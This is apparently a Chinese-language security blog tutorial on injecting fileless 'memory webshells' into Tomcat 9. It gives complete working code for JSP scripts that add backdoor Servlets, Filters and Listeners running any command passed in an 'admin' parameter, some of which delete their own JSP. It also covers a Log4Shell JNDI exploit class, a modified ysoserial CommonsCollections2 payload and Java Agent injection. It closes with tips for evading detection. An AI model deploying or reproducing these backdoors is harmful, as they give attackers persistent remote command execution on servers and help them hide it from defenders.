本文以Tomcat 9为核心学习并归纳了一些内存马技术,除有特殊说明外的章节外,本文使用Java 8u292
首先我们整理一下几种植入内存马的方式
基于JSP WebShell植入内存马
基于JavaWeb RCE漏洞植入内存马
通过Java Agent植入内存马
由于我们使用的是Tomcat,可以通过动态增加Servlet、Filter、Listener来植入内存马,如果技术栈还存在Spring和Shiro等,还可以使用增加Controller等方法
基于JSP WebShell植入内存马
参考:MemoryShellLearn/jsp注入内存马 at main · bitterzzZZ/MemoryShellLearn (github.com)
配置开发环境 IDEA使用Web Profile配置创建Java EE项目,使用Tomcat 9.0.58进行学习,不同版本的Tomcat的内部不同,本文统一使用Tomcat 9
为了在JSP中开发内存马,我们需要使用Tomcat的API,虽然在放在Tomcat中就可以直接使用Tomcat的API,但是IDEA无法进行代码提示,因此我们要在项目设置中把Apache Tomcat中的lib文件夹加入项目的Libraries中去,除此之外还要引入tomcat的/bin/tomcat-juli.jar
完成Libraries的配置后我们的代码就不会因为缺少依赖而出现报错了
增加Servlet Servlet我们都知道,是Tomcat的最基本的服务程序,我们可以直接在内存中增加Servlet来实现无文件的内存马
增加Servlet的方式分为3个步骤
利用反射通过ApplicationContextFacade
获取到StandardContext
将Servlet
程序封装到Wrapper
将封装好的Wrapper
增加到StandardContext
中并添加地址映射
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <%@ page contentType="text/html;charset=UTF-8" %> <%@ page import = "org.apache.catalina.core.*" %> <%@ page import = "javax.servlet.*" %> <%@ page import = "javax.servlet.http.*" %> <%@ page import = "java.io.*" %> <%@ page import = "java.lang.reflect.Field" %> <% class BackdoorServlet extends HttpServlet { @Override public void service (ServletRequest req, ServletResponse res) throws IOException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; if (request.getParameter("admin" )!=null ){ Runtime.getRuntime().exec(request.getParameter("admin" )); } else { response.sendError(HttpServletResponse.SC_NOT_FOUND); } } } ServletContext servletContext = request.getSession().getServletContext(); Field field = servletContext.getClass().getDeclaredField("context" ); field.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); field = applicationContext.getClass().getDeclaredField("context" ); field.setAccessible(true ); StandardContext standardContext = (StandardContext) field.get(applicationContext); BackdoorServlet backdoorServlet = new BackdoorServlet(); org.apache.catalina.Wrapper backdoorWrapper = standardContext.createWrapper(); backdoorWrapper.setName("hello" ); backdoorWrapper.setLoadOnStartup(1 ); backdoorWrapper.setServlet(backdoorServlet); backdoorWrapper.setServletClass(backdoorServlet.getClass().getName()); standardContext.addChild(backdoorWrapper); standardContext.addServletMappingDecoded("/hello" , "hello" ); %>
触发方法:将JSP放入webapp
文件夹中,我们首先访问路径/addServlet.jsp
写入内存马,然后再访问/hello?admin=<指令>
就可以执行命令了
增加Filter 由于Filter在Servlet之前运行,因此可以不受URL的限制,甚至可以伪装成在对一个正常的Servlet进行访问
增加Filter的方式分为4个步骤
通过反射从ApplicationContextFacade
中获取到当前的StandardContext
,从StandardContext
获取到filterConfigs
封装Filter
为FilterDef
,并添加到StandContext
中
生成新的ApplicationFilterConfig
并添加到filterConfigs
中
创建FilterMap
并加入StandardContext
中,为Filter
确定适用的URL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <%@ page contentType="text/html;charset=UTF-8" %> <%@ page import = "org.apache.catalina.Context" %> <%@ page import = "org.apache.catalina.core.*" %> <%@ page import = "org.apache.tomcat.util.descriptor.web.*" %> <%@ page import = "javax.servlet.*" %> <%@ page import = "javax.servlet.http.HttpServletRequest" %> <%@ page import = "java.io.*" %> <%@ page import = "java.lang.reflect.*" %> <%@ page import = "java.util.Map" %> <% class BackdoorFilter extends HttpFilter { public void doFilter (ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; if (request.getParameter("admin" )!=null ){ Runtime.getRuntime().exec(request.getParameter("admin" )); } filterChain.doFilter(req, res); } } String name = "BackdoorFilter" ; ServletContext servletContext = request.getSession().getServletContext(); Field field = servletContext.getClass().getDeclaredField("context" ); field.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); field = applicationContext.getClass().getDeclaredField("context" ); field.setAccessible(true ); StandardContext standardContext = (StandardContext) field.get(applicationContext); field = standardContext.getClass().getDeclaredField("filterConfigs" ); field.setAccessible(true ); Map filterConfigs = (Map) field.get(standardContext); if (filterConfigs.get(name) == null ){ BackdoorFilter filter = new BackdoorFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); (new File(application.getRealPath(request.getServletPath()))).delete(); } %>
触发方法:将JSP放入webapp
文件夹中,我们首先访问路径/addFilter.jsp
写入内存马,然后在访问任意路径时,带上GET参数admin
就可以执行命令了
增加Listener Tomcat的Listener可以用于在某个事件发生时执行操作,我们选择实现ServletRequestListener
来监听每一个HTTP请求
增加Listener的方式分为2个步骤
利用反射通过ApplicationContextFacade
获取到StandardContext
将Listener
添加到StandardContext
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="org.apache.catalina.core.*" %> <%@ page import ="javax.servlet.*" %> <%@ page import ="java.io.*" %> <%@ page import ="java.lang.reflect.Field" %> <% class BackdoorListener implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent servletRequestEvent) { if (request.getParameter("admin" )!=null ){ try { Runtime.getRuntime().exec(request.getParameter("admin" )); } catch (IOException e) {} } } } ServletContext servletContext = request.getSession().getServletContext(); Field field = servletContext.getClass().getDeclaredField("context" ); field.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); field = applicationContext.getClass().getDeclaredField("context" ); field.setAccessible(true ); StandardContext standardContext = (StandardContext) field.get(applicationContext); standardContext.addApplicationEventListener(new BackdoorListener()); (new File(application.getRealPath(request.getServletPath()))).delete(); %>
触发方法:将JSP放入webapp
文件夹中,我们首先访问路径/addListener.jsp
写入内存马,然后在访问任意路径时,带上GET参数admin
就可以执行命令了
介绍完Tomcat JSP内存马,接下来我们进入真正无文件落地的基于JNDI和反序列化植入内存马
基于JNDI的内存马植入 - 以CVE-2021-44228 Log4Shell为例
关于CVE-2021-44228的分析,可以参见我之前的讲解文章 ,由于我使用remote codebase方法,本节只能使用jdk 8u181及以下的版本
准备Tomcat脆弱环境 首先在Tomcat项目的pom.xml
中加入log4j-core 2.14.1的依赖,然后我们再写一个触发log4j漏洞的Servlet
直接在自动创建的HelloServlet上修改即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example.JavaWebDemo;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;@WebServlet(name = "helloServlet", value = "/hello-servlet") public class HelloServlet extends HttpServlet { private String message; public void init () { message = "Hello World!" ; } public void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { Logger logger = LogManager.getLogger(); logger.error("${jndi:ldap://127.0.0.1:1389/#Exploit}" ); response.setContentType("text/html" ); PrintWriter out = response.getWriter(); out.println("<html><body>" ); out.println("<h1>" + message + "</h1>" ); out.println("</body></html>" ); } }
构造Exploit 我们只尝试增加Filter,增加Servlet和Listener的方法也比较相似,不重复讨论
接下来按照我之前的CVE-2021-44228分析中的方法触发JNDI漏洞,我们将反弹Shell的代码进行修改
这时候遇到一个难点,之前我们使用JSP获取内存马,可以发现,往Tomcat中注入内存马的核心是需要获取到StandardContext实例,之前JSP会自动放进去一个request对象,可以用于获取StandardContext,但是此时没有这个便捷的方式,所以我们要另寻出入了
参考这篇文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法 - 先知社区 (aliyun.com)
由于我们使用Tomcat9,此处我们使用”从ContextClassLoader获取”的方式为例来获取StandardContext
,代码如下
1 2 WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
整合Exploit,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import org.apache.catalina.Context;import org.apache.catalina.core.*;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.util.descriptor.web.*;import javax.servlet.*;import javax.servlet.http.*;import java.io.*;import java.lang.reflect.*;import java.util.Map;@SuppressWarnings("unchecked") public class Exploit { public Exploit () throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException { class BackdoorFilter extends HttpFilter { public void doFilter (ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; if (request.getParameter("admin" )!=null ){ Runtime.getRuntime().exec(request.getParameter("admin" )); } filterChain.doFilter(req, res); } } String name = "BackdoorFilter" ; WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); Field field = standardContext.getClass().getDeclaredField("filterConfigs" ); field.setAccessible(true ); Map filterConfigs = (Map) field.get(standardContext); if (filterConfigs.get(name) == null ) { BackdoorFilter filter = new BackdoorFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); } } }
首先触发log4j漏洞,利用JNDI执行我们的Exploit植入内存马,随后访问任意URL时带上admin参数即可执行命令
可以发现,在这种情况下,我们实现了真正的无文件落地 ,但是JNDI+LDAP的攻击方式在jdk 8u191及之后就无法利用了,下一节我们讨论基于反序列化的植入方法
基于反序列化的内存马植入 - ysoserial-CommonsCollections2改造
参考:基于tomcat的内存 Webshell 无文件攻击技术 - 先知社区 (aliyun.com)
由于CommonsCollections2使用了TemplatesImpl,所以我们才能用这个方法进行内存马注入,像CommonsCollections1没有利用TemplatesImpl,所以就不行了
配置反序列化环境 我们写一个进行反序列化的接口,放在doPost()
里面,核心代码只需一句
1 (new ObjectInputStream((request.getInputStream()))).readObject();
我们使用CommonsCollections2作为例子,通过Maven引入commons-collections4:4.0
测试一下环境是否正常
会报错,但是我们可以发现是TemplatesImpl
抛出的,并且检查命令执行效果可以发现命令执行成功了,接下来开始改造Payload
构造Exploit 首先是用IDEA导入ysoserial项目,项目的Jdk版本设置为1.8。
由于打包起来太麻烦,我们将ysoserial.GeneratePayload
作为主类运行,直接生成Payload
由于我们要输出到文件中,修改GeneraterPayload.java
的第35行PrintStream out = System.out;
改为PrintStream out = new PrintStream("./output.serial");
首先在ysoserial.payloads.util.Gadgets.java
中调整createTemplateImpl
函数
由于原版的createTemplateImpl
根据要执行的指令来生成TemplateImpl
我们将其重载并稍微修改一下
我们复制createTemplateImpl
并改为如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static Object createTemplatesImpl ( final Class _class ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan" , "false" )) ) { return createTemplatesImpl( _class, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl" ), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl" )); } return createTemplatesImpl(_class, TemplatesImpl.class, TransformerFactoryImpl.class); } public static <T> T createTemplatesImpl ( final Class _class, Class<T> tplClass, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); final byte [] classBytes = ClassFiles.classAsBytes(_class); Reflections.setFieldValue(templates, "_bytecodes" , new byte [][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); Reflections.setFieldValue(templates, "_name" , "Pwnr" ); Reflections.setFieldValue(templates, "_tfactory" , transFactory.newInstance()); return templates; }
对于第一处重载,只是把command
改为了_class
并删除了无用的参数,第二处重载则从通过Javaassist技术制作类并获取字节码变为直接获取字节码,因为我们直接编写了类文件
然后将payloads/CommonsCollections2
复制出一个新版本,命名为CommonsCollections2ForClassInjection
将command
参数重构为payloadName
,变为注入的类名来使用,之后可以方便调整为使用ServletInjection
等其它内存马
把这一句进行修改
1 final Object templates = Gadgets.createTemplatesImpl(command);
换为如下,直接通过类名获取字节码
1 final Object templates = Gadgets.createTemplatesImpl(Class.forName("ysoserial.shells." +payloadName));
启动参数配置如下
将生成的output.serial
文件打到服务器上,然后在访问任意路径时,带上GET参数admin
就可以执行命令了
可以发现我给自己起的Payload名字是TomcatFilterInjection
,把它放在如图的位置
Payload代码如下,大家也可以自己制作ServletInjection
或者ListenerInjection
作为Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 package ysoserial.shells;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Map;public class TomcatFilterInjection extends AbstractTranslet implements Filter { static { try { String name = "TomcatFilterInjection" ; WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); Field field = standardContext.getClass().getDeclaredField("filterConfigs" ); field.setAccessible(true ); Map filterConfigs = (Map) field.get(standardContext); if (filterConfigs.get(name) == null ) { TomcatFilterInjection filter = new TomcatFilterInjection(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); } } catch (Exception e) { } } @Override public void doFilter (ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; if (request.getParameter("admin" )!=null ){ Runtime.getRuntime().exec(request.getParameter("admin" )); } filterChain.doFilter(req, res); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void destroy () { } }
Java Agent内存马
参考:Java Agent 从入门到内存马 - 先知社区 (aliyun.com)
还是以Tomcat为例,我们知道JavaAgent技术可以动态修改字节码,我们熟知的Burp Suite的破解技术就是基于premain
方法实现的,通过agentmain
,我们可以直接修改关键类即可
由于Java Agent内存马需要有Jar文件落地,并不是比JSP更好的方法,只能说在JSP无法解析的时候适用性会更好一些
比较知名的冰蝎就提供了Java Agent内存马,我们也实现一个比较基础的
调用端(Attacher)的核心代码其实就3句话
1 2 3 VirtualMachine virtualMachine = VirtualMachine.attach(id); virtualMachine.loadAgent(jarName); virtualMachine.detach();
我们可以使用前面研究过的JNDI注入方法进行注入,也可以利用反序列化,只要能够执行Java代码即可,甚至拿到系统Shell后直接用命令执行loadAgent
的另一个java程序也可以,只是要上传更多的文件,风险更大
这里方便起见,直接继续使用前面研究的反序列化注入方法进行攻击,我们在shells
中增加一个新的Payload,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package ysoserial.shells;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import com.sun.tools.attach.VirtualMachine;import sun.management.VMManagement;import java.lang.management.ManagementFactory;import java.lang.management.RuntimeMXBean;import java.lang.reflect.Field;import java.lang.reflect.Method;public class AgentInjection extends AbstractTranslet { static { try { RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean(); Field jvm = runtime.getClass().getDeclaredField("jvm" ); jvm.setAccessible(true ); VMManagement mgmt = (VMManagement) jvm.get(runtime); Method pidMethod = mgmt.getClass().getDeclaredMethod("getProcessId" ); pidMethod.setAccessible(true ); VirtualMachine virtualMachine = VirtualMachine.attach(String.valueOf(pidMethod.invoke(mgmt))); virtualMachine.loadAgent("/tmp/agent.jar" ); virtualMachine.detach(); }catch (Exception e){ } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
在src/main/resources/
目录下创建META-INF/MANIFEST.MF
,内容如下
1 2 3 Manifest-Version: 1.0 Agent-Class: Agent Can-Retransform-Classes: true
打包成.jar
,发送序列化数据,结果遇到异常
可以发现依赖于tools.jar
,这个包对于Tomcat来说并不会自动加载,为了让攻击奏效,我们可以通过JAVA_HOME
路径手动加载类型,通过反射执行相关函数
修改后的Payload代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package ysoserial.shells;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import sun.management.VMManagement;import java.io.File;import java.lang.management.ManagementFactory;import java.lang.management.RuntimeMXBean;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URLClassLoader;public class AgentInjection extends AbstractTranslet { static { try { RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean(); Field jvm = runtime.getClass().getDeclaredField("jvm" ); jvm.setAccessible(true ); VMManagement mgmt = (VMManagement) jvm.get(runtime); Method pidMethod = mgmt.getClass().getDeclaredMethod("getProcessId" ); pidMethod.setAccessible(true ); URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{new File(System.getProperty("java.home" ).replace("jre" ,"lib" ) + File.separator + "tools.jar" ).toURI().toURL()}); Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Method attach = VirtualMachine.getDeclaredMethod("attach" ,new Class[]{java.lang.String.class}); Method loadAgent=VirtualMachine.getDeclaredMethod("loadAgent" ,new Class[]{java.lang.String.class}); Method detach=VirtualMachine.getDeclaredMethod("detach" ,null ); Object virtualMachine = attach.invoke(VirtualMachine,new Object[]{String.valueOf(pidMethod.invoke(mgmt))}); loadAgent.invoke(virtualMachine,new Object[]{"/tmp/agent.jar" }); detach.invoke(virtualMachine); }catch (Exception e){ } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
完成反序列化注入Payload后,在访问任意路径时,带上GET参数admin
就可以执行命令了
内存马检测和隐藏
参考:
探索Filter型Tomcat内存马的免杀 - 先知社区 (aliyun.com)
查杀Java web filter型内存马 | 回忆飘如雪 (gv7.me)
对于注入后的内存马,可以分为两个类型
组件注入型 - 注入Servlet、Filter、Listener、Controller等
Agent注入型 - 注入字节码
检测方面的研究主要有c0ny1师傅的文章
组件注入型的检测和查杀 可以发现c0ny1师傅给出的方法就是通过加载Java Agent实时获取所有Filter,并且对于可疑的类进行检查
根据4ra1n师傅的方法,我们可以主要通过如下手段来隐藏我们的内存马
内存马的类名改为更加合理的,不要使用BackdoorFilter
这样显眼的名字,并引入一定的随机化
读取已有Filter的包名,将自己Filter包名改为一致的
自动修改web.xml
的内容进行隐藏
除此之外,由于可以检查Filter对应的classpath是否存在来检查,我们可以把class文件写入到硬盘上,但是这样就有被HIDS扫描到的风险,应视情况采用
目前为止,如果防御方不把class文件dump出来进行反编译对源码进行分析,应该是很难识别了,如果被dump了的话,只能进一步进采用源码免杀技巧
Agent注入型的检测和查杀 由于c0ny1师傅的《查杀Java web Agent型内存马》尚未发布,先留个坑在这里